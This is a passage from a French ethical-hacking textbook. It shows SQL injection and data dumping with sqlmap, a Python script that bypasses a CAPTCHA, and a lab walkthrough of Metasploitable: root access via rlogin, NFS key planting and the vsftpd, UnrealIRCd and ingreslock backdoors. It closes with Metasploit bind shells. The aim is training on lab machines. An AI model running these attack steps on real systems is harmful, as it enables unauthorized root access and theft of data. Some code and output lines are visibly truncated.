le livre n’existe pas, nous avons un message nous le signalant et quand le livre existe, nous

voyons apparaître son auteur et son titre.

Nous allons tester si le site est faillible aux injections. Saisissons dans le champ de recherche :

1 union select 1#

Le site nous renvoie une erreur. Ceci nous indique que notre requête a certainement provoqué

une erreur dans la base de données. Il semble donc qu’une injection soit possible mais nous

n’en avons pas encore la certitude. Continuons nos essais avec :

2 union select 1,2,3 #

Cette fois, nous voyons un résultat de recherche positif et le titre du livre est 2 avec un auteur

3. C’est certain à présent, le formulaire est réceptif à une injection. La requête comporte trois

champs et les champs 2 et 3 sont affichés dans la page.

Plutôt que de continuer à la main, nous disposons d’outils dans BackTrack capables d’extraire

toutes les données de la base. Nous allons utiliser sqlmap. La première étape, bien que nous

l’ayons déjà faite à la main, est de faire repérer par sqlmap les champs injectables. Voici la

commande et son résultat :

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u

"http://192.168.2.50/epreuve6/index.php" --data="form=1&q=1"

sqlmap/1.0-dev-25eca9d - automatic SQL injection and database

takeover tool

http://sqlmap.org

[!] legal disclaimer: usage of sqlmap for attacking targets

without prior mutual consent is illegal. It is the end user’s

responsibility to obey all applicable local, state and federal

laws. Authors assume no liability and are not responsible for any

misuse or damage caused by this program

[*] starting at 10:28:28

[10:28:28] [INFO] resuming back-end DBMS ’mysql’

[10:28:28] [INFO] testing connection to the target url

sqlmap identified the following injection points with a total of 0

HTTP(s) requests:

---

Place: POST

Parameter: q

Type: UNION query

Title: MySQL UNION query (NULL) - 3 columns

Payload: form=1&q=1 LIMIT 1,1 UNION ALL SELECT NULL, NULL,

CONCAT(0x3a616c633a,0x4751514c427a64636f49,0x3a6179793a)#

---

[10:28:28] [INFO] the back-end DBMS is MySQL

web server operating system: Linux Debian or Ubuntu 6.0 (squeeze)

web application technology: PHP 5.3.3, Apache 2.2.16

back-end DBMS: MySQL 5

[10:28:28] [INFO] fetched data logged to text files under

’/pentest/database/sqlmap/output/192.168.2.50’

[*] shutting down at 10:28:28

Nous visualisons l’injection réalisée par sqlmap. Ce n’est pas la même injection que nous

avions effectuée à la main, mais la conclusion est identique : il y a trois colonnes dans la

table.

Poursuivons l’injection et demandons à sqlmap d’extraire les données de la base. Voici la

commande et un extrait des réponses obtenues :

root@bt:/pentest/database/sqlmap# ./sqlmap.py -u

"http://192.168.2.50/epreuve6/index.php" --data="form=1&q=1" -dump

Database: livres

Table: clef_epreuve

[1 entry]

+------------+

| clef |

+------------+

| As81Cfoab4 |

+------------+

Database: livres

Table: livres

[3 entries]

+-----+-----------------+-------------------------------+

| ref | titre | auteur |

+-----+-----------------+-------------------------------+

| 342 | PHP5 | Damien Seguy,Philippe Gamache |

| 426 | Ethical Hacking | ACISSI |

| 532 | seaux | Andrew Tanenbaum |

+-----+-----------------+-------------------------------+

La clé recherchée est trouvée sans problème.

6. Passer les CAPTCHA

a. Implémentation de la septième l’épreuve

Afin d’éviter que des botnet puissent remplir des formulaires, créer des comptes, faire des

attaques par force brute, etc., il est courant de trouver des CAPTCHA (Completely Automated

Public Turing test to tell Computers and Humans Apart) lors de la saisie de formulaires.

Ceux-ci peuvent prendre différentes formes, dont la plus courante est la lecture de chiffres et

de lettres dans une image. L’objectif de l’épreuve sera donc de prouver qu’un script est

capable de saisir un formulaire et de le valider sans l’intervention de l’homme. Passons à la

mise en œuvre de l’épreuve.

Nous créons une page qui permet de poser une question grâce à un formulaire. Celui-ci sera

protégé par un CAPTCHA. Voici le code du formulaire :

// ***** page 5 question *****

$_SESSION[’code’]=gencode();

?>


<h3>Question</h3>


</div>


<p>

<form action="index.php" method="POST" name="formjs1"

id="formjs1">

<fieldset>

<legend> Question</legend>

Votre pseudo :   <input type="text"

name="pseudo"><br>

Votre question : <input type="test" name="question">

<hr />

<img src="images/code.php" alt="captcha" >

<br />Inscrivez le code écrit ci-dessus.<br />

Réponse :       <input

type="text" name="captcha">


<input type="submit" id="valider" name="validr"

value="valider">

</fieldset>

</form>

<p>Saurez-vous poser 5 questions en moins de 10 secondes ? Vous

pouvez si vous n’êtes pas un homme.</p>

</p>

</div>

<?php }

Au début de celui-ci, nous générons un code aléatoire que nous plaçons dans une variable de

session. Il faut implémenter le code de cette fonction dans le fichier fonctions.php, la voici :

function gencode() {

$carac="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123

456789";

$code="";

for ($i=0;$i<6;$i++)

{

$pos=rand(0,strlen($carac)-1);

$code=$code.substr($carac,$pos,1);

}

return $code;

}

Dans le formulaire, une image nommée code.php est placée. Ce sera le CAPTCHA. Cette

image est en fait un code PHP qui va générer une image au format PNG en fonction de la

variable de session code. Ce script est placé dans le dossier images. Voici son code :

<?php

session_start();

$code=$_SESSION[’code’];

header("Content-type: image/png");

//création du canevas de l’image 300x300

$im = imagecreate(200,50);

//création de la palette des couleurs

$noir = imagecolorallocate($im, 0, 0, 0);

$jaune = imagecolorallocate($im, 255, 255, 0);

$rouge = imagecolorallocate($im,255,0,0);

$vert = imagecolorallocate($im,0,255,0);

$blanc = imagecolorallocate($im,255,255,255);

$gris = imagecolorallocate($im,100,100,100);

imagefilledrectangle($im,0,0,200,50,$blanc);

// Définition de la variable d’environnement pour GD

putenv(’GDFONTPATH=’ . Realpath(’.’));

$font = ’DejaVuSansMono.ttf’;

//écriture d’un code

for ($x=0;$x<=6;$x=$x+3)

{

$txt=substr($code,$x,1);

$angle = rand(-20,20);

$espace=30;

imagettftext($im,20,$angle,10+$espace*$x,30,$jaune,$font,

$txt);

$txt=substr($code,$x+1,1);


imagettftext($im,20,$angle,10+$espace*($x+1),30,$rouge,

$font,$txt);

$txt=substr($code,$x+2,1);


imagettftext($im,20,$angle,10+$espace*($x+2),30,$vert,$font,

$txt);

}

//création de l’image en png

imagepng($im);

imagedestroy($im);

?>

Pour que cette image puisse être générée sans problème, il faut disposer de la police

DejaVuSans.ttf dans le dossier images. Nous copions celle-ci du dossier

/usr/share/fonts/truetype.

root@WEB1:/home/web/www/epreuve7# cp

/usr/share/fonts/truetype/ttf-dejavu/DejaVuSansMono.ttf

/home/web/www/epreuve7/images/

Notre formulaire est prêt. Il faut à présent implémenter la validation de celui-ci. Pour prouver

que ce sera bien un script qui valide le formulaire, le mieux est de compter un nombre de

validations par seconde qu’un homme sera incapable de faire. Donc, dès la première

validation, nous déclenchons une sorte de chronomètre et nous n’aurons que 10 secondes pour

faire 5 validations. Cette information sera donnée à celui qui veut résoudre cette épreuve.

Voici le code de validation du formulaire que nous implémentons sous la forme d’une

fonction :

function val_captcha($valeur)

{

//echo $valeur."<br />";

//echo $_SESSION[’valeur’]."<br />";

$temps=10;

//initialisation du temps

if (!($_SESSION[’temps’]>0)) $_SESSION[’temps’]=time();

echo "temps initial : ".$_SESSION[’temps’]."<br />";

$reste = $temps-(time()-$_SESSION[’temps’]);

//echo "temps restant : ".$reste."<br />";

if (preg_match("#[A-Za-z0-9]{6}#", $valeur))

{

echo $_SESSION[’code’]."<br />";

if ($valeur==$_SESSION[’code’]) {

switch($_SESSION[’etape’]) {

case 1 :

if ($reste>=0)

$_SESSION[’etape’]=2; else $_SESSION[’etape’]=0;

echo "Validation n° ".

$_SESSION[’etape’]."<br />";

break;

case 2 :

if ($reste>=0)




break;

case 3 :

if ($reste>=0)




break;

case 4 :

if ($reste>=0)

{

echo "Bravo, vous

avez gagné!<br />";

$i=7;

$IP=$_SERVER[REMOTE_ADDR];

$code="4QI85ccE00";

echo ’Votre clef de

validation est : <strong>’.$code.’</strong><br />’;

}

else $_SESSION[’etape’]=0;

break;

default:

$_SESSION[’etape’]=1;



}

if ($reste<0) {

echo "TROP TARD!! Tentez à nouveau votre

chance<br />";

$_SESSION[’etape’]=0;

}

}

else {

echo "Mauvaise valeur";

}

}

else

{

echo "Erreur de saisie.<br />";

}

unset($_SESSION[’code’]);

}

Voilà, notre épreuve est prête. Nous devons visualiser correctement le CAPTCHA dans la

page Questions et celui-ci doit changer chaque fois que nous rafraîchissons la page.

b. Solution de la septième épreuve

Pour solutionner cette épreuve, il faut créer un programme qui réalise les tâches suivantes :

Appeler la page Questions pour générer le CAPTCHA

Télécharger l’image du CAPTCHA

Décoder le CAPTCHA

Poster le formulaire

Il faudra répéter ces opérations 5 fois en moins de 10 secondes. Nous choisissons d’écrire ce

script en Python et d’utiliser un logiciel de reconnaissance optique de caractères externe.

Nous prendrons gocr.

Commençons par installer gocr :

root@bt:~/ENI_captcha# aptitude install gocr

Nous allons expliquer le script progressivement. Le voici :

Nous commençons par indiquer que le script sera en UTF-8, puis nous importons les librairies

dont nous allons avoir besoin : urllib et urllib2 pour générer les requêtes GET et POST. Il

faut aussi cookielib pour conserver la session. Ensuite vient os pour pouvoir appeler une

commande externe, gocr. Enfin, nous devrons traiter un peu l’image pour aider gocr, pour

cela PIL (Python Imaging Library) sera parfait.

#!/usr/bin/env python

#--*-- coding: UTF-8 --*--

import urllib2, urllib, cookielib, os

from PIL import Image

Nous préparons les URL des requêtes utiles.

url_question="http://192.168.2.50/epreuve7/index.php?page=5"

url_image="http://192.168.2.50/epreuve7/images/code.php"

url_post="http://192.168.2.50/epreuve7/index.php"

Nous créons un objet permettant de garder la session.

urlOpener =

urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.

CookieJar()))

Nous initialisons le nombre de validations à 0.

nbrval=0

Nous commençons la boucle. Comme gocr ne va pas réussir à décoder l’image à chaque fois,

il faudra faire plus de 5 essais. Nous espérons quand même réussir à valider 5 fois sur 50.

for i in range(0,50):

Nous appelons le formulaire de questions pour générer une nouvelle image de CAPTCHA,

puis nous récupérons les données brutes de cette image et les enregistrons.

#Appel du formulaire des questions

rep_question=urlOpener.open(url_question)

captcha = urlOpener.open(url_image)

donnees = captcha.read()

img=open("captcha.png","w")

img.write(donnees)

.close()

L’image du CAPTCHA étant en couleur, elle sera difficilement interprétable par gocr. Nous

allons donc passer les lettres en noir. Pour cela, nous considérons que le point en haut à

gauche est de la couleur du fond. Tous les points n’étant pas de cette couleur sont alors passés

en noir. Une fois cette opération effectuée, nous enregistrons la nouvelle image.

#traitement image

im = Image.open("captcha.png")

im = im.convert("P")

fond = im.getpixel((1,1))

temp = {}

for x in range(im.size[1]):

for y in range(im.size[0]):

pix = im.getpixel((y,x))

temp[pix] = pix

if pix != fond:

im.putpixel((y,x),0)

im.save("captcha.png")

Il est temps de passer l’image dans gocr et de récupérer son retour. Nous affichons le résultat

de gocr pour information.

#Lecture image

os.system("gocr captcha.png > captcha.txt")

txt=open("captcha.txt","r")

txtcaptcha=txt.read()

txt.close()

txtcaptcha=txtcaptcha.rstrip()

print txtcaptcha

Nos informations peuvent être postées. Nous utilisons urlencode pour formater les données du

formulaire et postons celles-ci.

#Envoi captcha pour validation

valeurs = {’pseudo’ : ’codej’, ’question’ : ’captcha’,

’captcha’ : txtcaptcha , ’form’ : ’1’ }

data = urllib.urlencode(valeurs)

reponse=urlOpener.open(url_post,data)

Nous récupérons la page du retour du formulaire. Si celle-ci contient le mot « Validation »,

c’est que gocr a bien fait son travail. Nous comptons le nombre de validations réussies.

Arrivés à la cinquième validation réussie, nous affichons la page qui atteste de la validation de

l’épreuve.

page = reponse.read()

#Affichage

if nbrval<4 :

if "Validation" in page :

print ’Validation num :’+str(nbrval)+"

captcha : "+txtcaptcha

nbrval+=1

else :

if "Bravo" in page :

print page

break

Lançons le script. Voici un extrait de l’affichage qu’il provoque.

root@bt:~/ENI_captcha# python captcha.py

al7mR

X19zDW

OlmX

Oen4H9

cUY3fY

Validation num :0 captcha : cUY3fY

AtdQ5i

Validation num :1 captcha : AtdQ5i

TiEgP2

G4izC

y3njA4

Validation num :2 captcha : y3njA4

Ngg4

6Rl06B

vi4QAa

Validation num :3 captcha : vi4QAa

rglDQ

TdRb

oVmjh

...

<br />Bravo, vous avez gagné!<br />

Voilà, l’épreuve est validée.

Plateformes d’entraînement

Introduction

Afin de pouvoir tester tout type de machines, nous allons installer différents autres systèmes

tels que Windows ou des machines faillibles « clés en main » comme Metasploitable ou

Webgoat.

Metasploitable

Metasploitable est une machine virtuelle sous Linux vulnérable. Cette VM peut être utilisée

pour s’entraîner au pentesting (test de pénétration), tester des outils de sécurité tels que

metasploit et pratiquer les techniques usuelles de pénétration de systèmes.

Nous pouvons télécharger cette machine virtuelle à cette adresse :

http://information.rapid7.com/download-metasploitable.html?LS=1631875&CS=web

Le login et mot de passe par défaut sont msfadmin et msfadmin.

Dès que nous aurons récupéré cette machine, nous devrons extraire le fichier (fichier zip) et

l’installer dans notre Proxmox comme nous vous l’avons expliqué dans le chapitre Proxmox.

Une fois la machine installée et lancée, nous devrions arriver sur l’écran suivant :

http://information.rapid7.com/download-metasploitable.html?LS=1631875&CS=web

Nous pouvons donc nous connecter sur la machine avec l’identifiant msfadmin et le mot de

passe msfadmin et effectuer un ifconfig afin de déterminer l’adresse MAC et l’adresse IP.

L’adresse IP est donc pour cette machine 192.168.1.131 et son adresse MAC,

00:0c:29:9a:52:c1.

msfadmin@metasploitable:~$ ifconfig

eth0 Link encap:Ethernet HWaddr 00:0c:29:9a:52:c1

inet addr:192.168.1.131 Bcast:192.168.99.255

Mask:255.255.255.0

inet6 addr: fe80::20c:29ff:fe9a:52c1/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

La première chose que nous ferons si nous le souhaitons est de changer le mot de passe de

l’administrateur msfadmin.

msfadmin@metasploitable:~$ passwd

Changement du mot de passe pour fasm.

Mot de passe UNIX (actuel) :

Nous pourrons bien sûr passer cette machine en DHCP afin que notre serveur vu au chapitre

Machines virtuelles et services puisse lui fournir une adresse fixe. C’est pour cela que nous

avons besoin de l’adresse MAC.

1. Liste des services

De notre machine attaquante, une KaliLinux par exemple, nous pouvons essayer d’identifier

les services qui tournent sur cette machine avec par exemple l’excellent outil nmap. La

commande suivante scannera tous les ports TCP sur la machine distante Metasploit :

root@ubuntu:~# nmap -p0-65535 192.168.1.131

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-05-31 21:14 PDT

Nmap scan report for 192.168.99.131

Host is up (0.00028s latency).

Not shown: 65506 closed ports

PORT STATE SERVICE

21/tcp open ftp

22/tcp open ssh

23/tcp open telnet

25/tcp open smtp

53/tcp open domain

80/tcp open http

111/tcp open rpcbind

139/tcp open netbios-ssn

445/tcp open microsoft-ds

512/tcp open exec

513/tcp open login

514/tcp open shell

1099/tcp open rmiregistry

1524/tcp open ingreslock

2049/tcp open nfs

2121/tcp open ccproxy-ftp

3306/tcp open mysql

3632/tcp open distccd

5432/tcp open postgresql

5900/tcp open vnc

6000/tcp open X11

6667/tcp open irc

6697/tcp open unknown

8009/tcp open ajp13







MAC Address: 00:0C:29:9A:52:C1 (VMware)

Chacun de ces points d’entrée est susceptible de comporter une faille quelconque.

2. Services : les bases UNIX

Les ports TCP 512, 513 et 514 sont connus comme des services « r » (Berkeley r-services et r-

commands tels que rsh, rexec et rlogin), et ont été mal configurés pour autoriser un accès à

distance de n’importe quel hôte. Pour pouvoir tirer parti de ces failles, il va nous falloir être

sûrs que rsh-client est installé et nous pourrons lancer la commande suivante en tant que root

sur la machine attaquante. Si une demande nous est faite d’une clé SSH, cela voudra dire que

l’utilitaire rsh-client n’est pas installé et que le système utilise par défaut SSH.

# rlogin -l root 192.168.1.131

Last login: Fri Jun 1 00:10:39 EDT 2012 from :0.0 on pts/0

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00

UTC 2008 i686

root@metasploitable:~#

C’est aussi simple que cela. Le prochain service que nous allons regarder est le Network File

System (NFS est un protocole qui permet aux ordinateurs d’accéder à des fichiers via un

réseau). NFS peut être identifié en testant le port 2049 directement ou en demandant la liste

des services au portmapper (processus qui analyse les paquets arrivant sur une interface et qui

les route selon leur adresse et leur port de destination). L’exemple ci-après utilise rpcinfo pour

identifier NFS et showmount -e pour déterminer que le partage "/" (le root du système de

fichiers) est exporté. Nous aurons besoin des paquets rpcbind et nfs-common pour suivre cela.

root@ubuntu:~# rpcinfo -p 192.168.1.131

program vers proto port service

100000 2 tcp 111 portmapper

100000 2 udp 111 portmapper

100024 1 udp 53318 status

100024 1 tcp 43729 status

100003 2 udp 2049 nfs

100003 3 udp 2049 nfs

100003 4 udp 2049 nfs

100021 1 udp 46696 nlockmgr



100003 2 tcp 2049 nfs

100003 3 tcp 2049 nfs

100003 4 tcp 2049 nfs

100021 1 tcp 55852 nlockmgr



100005 1 udp 34887 mountd

100005 1 tcp 39292 mountd

100005 2 udp 34887 mountd

100005 2 tcp 39292 mountd

100005 3 udp 34887 mountd

100005 3 tcp 39292 mountd

root@ubuntu:~# showmount -e 192.168.1.131

Export list for 192.168.1.131:

/ *

Obtenir un accès à un système avec un système de fichiers en écriture est une chose triviale.

Pour faire cela (et parce que ssh tourne), nous allons générer une clé SSH sur notre machine

attaquante, monter l’export NFS et ajouter notre clé au compte de l’utilisateur root (fichier

authorized_keys) :

root@ubuntu:~# ssh-keygen

Generating public/private rsa key pair.

Enter file in which to save the key (/root/.ssh/id_rsa):

Enter passphrase (empty for no passphrase):

Enter same passphrase again:

Your identification has been saved in /root/.ssh/id_rsa.

Your public key has been saved in /root/.ssh/id_rsa.pub.

root@ubuntu:~# mkdir /tmp/r00t

root@ubuntu:~# mount -t nfs 192.168.1.131:/ /tmp/r00t/

root@ubuntu:~# cat ~/.ssh/id_rsa.pub >>

/tmp/r00t/root/.ssh/authorized_keys

root@ubuntu:~# umount /tmp/r00t

root@ubuntu:~# ssh [email protected]

Last login: Fri Jun 1 00:29:33 2012 from 192.168.1.128

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00

UTC 2008 i686

root@metasploitable:~#

3. Services : Backdoors

Sur le port 21, Metasploitable fait tourner vsftpd, le FTP que nous avons configuré au

chapitre Machines virtuelles et services. Cette version, ici la version 2.3.4, comporte une

backdoor qui a été ajoutée au service par un intrus. La version contenant la backdoor a été

mise à disposition sur le web et s’est donc propagée.

La backdoor a été très vite identifiée et enlevée, mais pas assez rapidement puisque beaucoup

de personnes ont eu le temps de télécharger la version concernée.

Si un nom qui se termine par « :) » est envoyé, la backdoor ouvre le port 6200 et lance un

shell en écoute sur ce port.

Nous pouvons démontrer cela avec telnet ou utiliser un module de Metasploit pour l’exploiter

automatiquement :

root@ubuntu:~# telnet 192.168.1.131 21

Trying 192.168.1.131...

Connected to 192.168.1.131.

Escape character is ’ˆ]’.

220 (vsFTPd 2.3.4)

user backdoored:)

331 Please specify the password.

pass invalid

ˆ]

telnet> quit

Connection closed.


Trying 192.168.1.131...



id;

uid=0(root) gid=0(root)

Sur le port 6667 de Metasploitable tourne un démon IRC, UnreaIRCD. Cette version contient

une backdoor qui n’a pas été identifiée pendant des mois, déclenchée lorsque les lettres

« AB » suivies par une commande système lui sont envoyées sur n’importe quel port en

écoute. Metasploit a un module qui l’exploite afin d’obtenir un shell interactif comme montré

ci-dessous.

Msfconsole

msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.1.131

msf exploit(unreal_ircd_3281_backdoor) > exploit

[*] Started reverse double handler

[*] Connected to 192.168.1.131:6667...

:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your

hostname...

:irc.Metasploitable.LAN NOTICE AUTH :*** Couldn’t resolve your

hostname; using your IP address instead

[*] Sending backdoor command...

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo 8bMUYsfmGvOLHBxe;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "8bMUYsfmGvOLHBxe\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (192.168.1.128:4444 ->

192.168.1.131:60257) at 2012-05-31 21:53:59 -0700

id

uid=0(root) gid=0(root)

Une autre et très vieille backdoor, « ingreslock », écoute sur le port 1524. Pour y accéder, rien

de plus simple :


Trying 192.168.1.131...



root@metasploitable:/# id

uid=0(root) gid=0(root) groups=0(root)

Services:Unintentional Backdoors

En plus des backdoors vues précédemment, quelques services sont des sortes de backdoors

par leur nature. Le premier est distccd. Distccd est le serveur du compilateur réparti distcc. Il

exécute les tâches de compilation qui lui sont confiées en réseau par ses clients.

Distcc peut être exécuté soit sur TCP, soit par une commande de connexion telle que ssh : les

connexions TCP sont rapides mais peu sûres ; les connexions SSH sont sécurisées mais plus

lentes.

Le problème avec ce service est qu’un attaquant peut aisément le contourner pour lancer une

commande de son choix. Nous allons démontrer cela en utilisant un module Metasploit.

Msfconsole

msf > use exploit/unix/misc/distcc_exec

msf exploit(distcc_exec) > set RHOST 192.168.1.131

msf exploit(distcc_exec) > exploit

[*] Started reverse double handler

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo uk3UdiwLUq0LX3Bi;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "uk3UdiwLUq0LX3Bi\r\n"

[*] Matching...

[*] A is input...


192.168.1.131:38897) at 2012-05-31 22:06:03 -0700

id

uid=1(daemon) gid=1(daemon) groups=1(daemon)

Samba est une implémentation libre des protocoles SMB (Server Message Block) et CIFS

(Common Internet File System).

Samba fournit des services et fichiers d’impression pour des clients Windows et peut

s’intégrer à un domaine Windows Server.

Samba, lorsqu’il est configuré avec un fichier partagé en écriture et avec l’option « wide links

» validée (« on » par défaut), peut aussi être utilisé comme une backdoor de façon à accéder à

des fichiers qui n’ont pas été partagés. L’exemple ci-dessous utilise un module Metasploit

pour obtenir un accès au système de fichiers de l’utilisateur root avec une connexion

anonyme.

root@ubuntu:~# smbclient -L //192.168.1.131

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

Sharename Type Comment

--------- ---- -------

print$ Disk Printer Drivers

tmp Disk oh noes!

opt Disk

IPC$ IPC IPC Service (metasploitable

server (Samba 3.0.20-Debian))

ADMIN$ IPC IPC Service (metasploitable

server (Samba 3.0.20-Debian))

root@ubuntu:~# msfconsole

msf > use auxiliary/admin/smb/samba_symlink_traversal

msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.1.131

msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp

msf auxiliary(samba_symlink_traversal) > exploit

[*] Connecting to the server...

[*] Trying to mount writeable share ’tmp’...

[*] Trying to link ’rootfs’ to the root filesystem...

[*] Now access the following share to browse the root filesystem:

[*] \\192.168.1.131\tmp\rootfs\

msf auxiliary(samba_symlink_traversal) > exit

root@ubuntu:~# smbclient //192.168.1.131/tmp

Anonymous login successful

Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian]

smb: \> cd rootfs

smb: \rootfs\> cd etc

smb: \rootfs\etc\> more passwd

getting file \rootfs\etc\passwd of size 1624 as

/tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2

KiloBytes/sec)

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

[..]

4. Vulnerable Web Services

Des vulnérabilités web sont préinstallées dans Metasploitable. Le serveur web se lance

automatiquement quand Metasploitable est démarré. Pour accéder à ces applications web,

nous ouvrirons un navigateur web et nous connecterons sur l’URL http://<IP> où <IP> est

l’adresse de Metasploitable.

Dans l’exemple, Metasploitable tourne à l’adresse IP 192.168.56.101. Donc nous entrerons

http://192.168.56.101/ comme montré dans l’image ci-dessous.

Pour accéder aux applications web particulières, il suffit de cliquer sur les liens de la page

d’accueil.

D’autres applications web peuvent être accessibles en indiquant un répertoire dans l’URL :

http://<IP>/<Application>/

Par exemple, l’application Mutillidae est accessible à l’adresse :

http://192.168.56.101/mutillidae/

Les applications sont installées dans le répertoire /var/www.

Dans cette version, au moment de l’écriture de ce livre, nous avons :

Mutillidae (NOWASP Mutillidae 2.1.19)

DVWA (Damn Vulnerable Web Application)

phpMyAdmin

TikiWiki (TWiki)

TikiWiki-old

dav (WebDav)

a. Vulnérabilité web : Mutillidae

L’application web Mutillidae (NOWASP (Mutillidae)) contient toutes les vulnérabilités du

classement des 10 failles web de l’OWASP comme le stockage web HTML-5, clickjacking...

Le clickjacking est le moyen de forcer l’internaute à cliquer sur quelque chose sur une page

web pour lui faire exécuter une action malveillante.

Inspiré par DVWA, Mutillidae autorise l’utilisateur à changer le « niveau de sécurité » de 0

(complètement insécurisé) à 5 (sécurisé). En outre, trois niveaux ont été inclus : "Level 0 -

très difficile" à "Level 2 - novice".

Si l’application est endommagée par de l’injection ou des hacks, cliquez sur le bouton Reset

DB qui va remettre tout dans les conditions initiales.

Pour remettre le score des épreuves validées à zéro, il suffira de cliquer sur le bouton Toggle

hints de la barre de menu.

Vous pourrez trouver toutes les informations nécessaires aux adresses suivantes :

https://community.rapid7.com/docs/DOC-1875

http://www.offensive-security.com/metasploit-unleashed/Metasploitable

b. Vulnérabilité web : DVWA

Damn Vulnerable Web App (DVWA) est une application web écrite en PHP qui est

vulnérable. Son but principal est d’être une aide pour les professionnels de la sécurité pour

tester leurs connaissances et leurs outils dans un environnement légal. Elle a aussi pour but

d’aider le développeur à comprendre les processus de sécurité de leurs applications et enfin,

d’aider les enseignants et étudiants à enseigner ou apprendre les failles Web en classe.

DVWA contient des instructions dans sa page web et des informations additionnelles sont

disponibles sur la page wiki de DVWA : http://code.google.com/p/dvwa/w/list

Default username = admin

Default password = password

https://community.rapid7.com/docs/DOC-1875

http://www.offensive-security.com/metasploit-unleashed/Metasploitable

http://code.google.com/p/dvwa/w/list

c. Vulnérabilité web : Information Disclosure

Une page d’information PHP peut être trouvée à cette adresse : http://<IP>/phpinfo.php. Dans

cet exemple, l’URL serait http://192.168.56.101/phpinfo.php.

Nous trouverons donc des informations internes au système et des informations sur les

versions des services qui peuvent être utilisées pour la recherche de vulnérabilités. Par

exemple, notons que la version de PHP indiquée dans la capture d’écran ci-après est une

version 5.2.4, il peut être possible qu’il soit donc vulnérable aux CVE (Common

Vulnerabilities and Exposures) CVE-2012-1823 et CVE-2012-2311 qui ont affecté les

versions de PHP avant 5.3.12 et 5.4.x avant 5.4.2.

Nous avons fait un peu le tour de la VM Metasploitable.

Nous allons revenir ici un peu sur Metasploit afin, pour ceux qui ne le connaissent pas, de le

prendre en main, et ceux qui le connaissent, de se remettre en tête son utilisation.

5. Metasploit

Nous pourrons l’installer sur notre machine attaquante afin de tester une plate-forme de

pentesting.

Metasploit est une plate-forme open source pour développer, tester et utiliser des exploits.

Cette application, à ses débuts, était un jeu en réseau et a évolué en une plate-forme de

pentesting, de développement d’exploits et de recherche de failles.

Nous pourrons faire une recherche sur Google afin de trouver le paquet nécessaire sous Linux

ou l’exécutable sous Windows.

a. Metasploit Command Line Interface (MSFCLI)

Nous utilisons pour l’instant Metasploit 2. Pour découvrir cette application, nous allons

utiliser la faille RCP DCOM exploit (MS03-026) contre notre victime, un Windows 2000

(192.168.29.15).

framework2 # ./msfcli |grep 026

msrpc_dcom_ms03_026

Microsoft RPC DCOM MSO3-026

framework2 #

Nous pouvons maintenant sélectionner l’exploit.

framework2 # ./msfcli msrpc_dcom_ms03_026 O

Exploit Options

===============

Exploit: Name Default Description

-------- ------ ------- ------------------

required RHOST

The target address

required RPORT 135

The target port

Target: Windows NT SP3-6a/2K/XP/2K3 English ALL

framework2 #

Nous pouvons maintenant choisir un PAYLOAD (P).

framework2 # ./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14 P

Metasploit Framework Usable Payloads

====================================

win32_adduser

Windows Execute net user /ADD

win32_bind

Windows Bind Shell

win32_bind_dllinject

Windows Bind DLL Inject

win32_bind_meterpreter

Windows Bind Meterpreter DLL Inject

win32_bind_stg

Windows Staged Bind Shell

win32_bind_stg_upexec

Windows Staged Bind Upload/Execute

win32_bind_vncinject

Windows Bind VNC Server DLL Inject

win32_downloadexec

Windows Executable Download and Execute

win32_exec

Windows Execute Command

win32_passivex

Windows PassiveX ActiveX Injection Payload

win32_passivex_meterpreter Windows PassiveX ActiveX Inject

Meterpreter

win32_passivex_stg

Windows Staged PassiveX Shell

win32_passivex_vncinject Windows PassiveX ActiveX VNC Server

Payload

win32_reverse

Windows Reverse Shell

win32_reverse_dllinject Windows Reverse DLL Inject

win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject

win32_reverse_ord

Windows Staged Reverse Ordinal Shell

win32_reverse_ord_vncinject Windows Reverse Ordinal VNC Server

Inject

win32_reverse_stg

Windows Staged Reverse Shell

win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute

win32_reverse_vncinject Windows Reverse VNC Server Inject

framework2 #

Nous allons utiliser un bind shell (win32_bind) et choisir la cible (T) :

framework2# ./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14

PAYLOAD=win32_bind T

Supported Exploit Targets

=========================

0 Windows NT SP3-6a/2K/XP/2K3 English ALL

framework2 #

Nous pouvons maintenant lancer l’exploit ainsi créé.

framework2#./msfcli msrpc_dcom_ms03_026 RHOST=192.168.9.14

PAYLOAD=win32_bind E

[*] Starting Bind Handler.

[*] Sending request...

[*] Got connection from 192.168.9.100:36687 <-> 192.168.9.14:4444

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

Nous obtenons un shell Windows de la machine distante.

b. Metasploit Console (MSFCONSOLE)

Nous allons refaire la même chose mais avec msfconsole :

framework2 # ./msfconsole

+ -- --=[ msfconsole v2.7 [157 exploits - 76 payloads]

msf > help

Metasploit Framework Main Console Help

? Show the main console help

cd Change working directory

exit Exit the console

help Show the main console help

info Display detailed exploit or payload information

quit

Exit the console

reload Reload exploits and payloads

save Save configuration to disk

setg Set a global environment variable

show Show available exploits and payloads

unsetg Remove a global environment variable

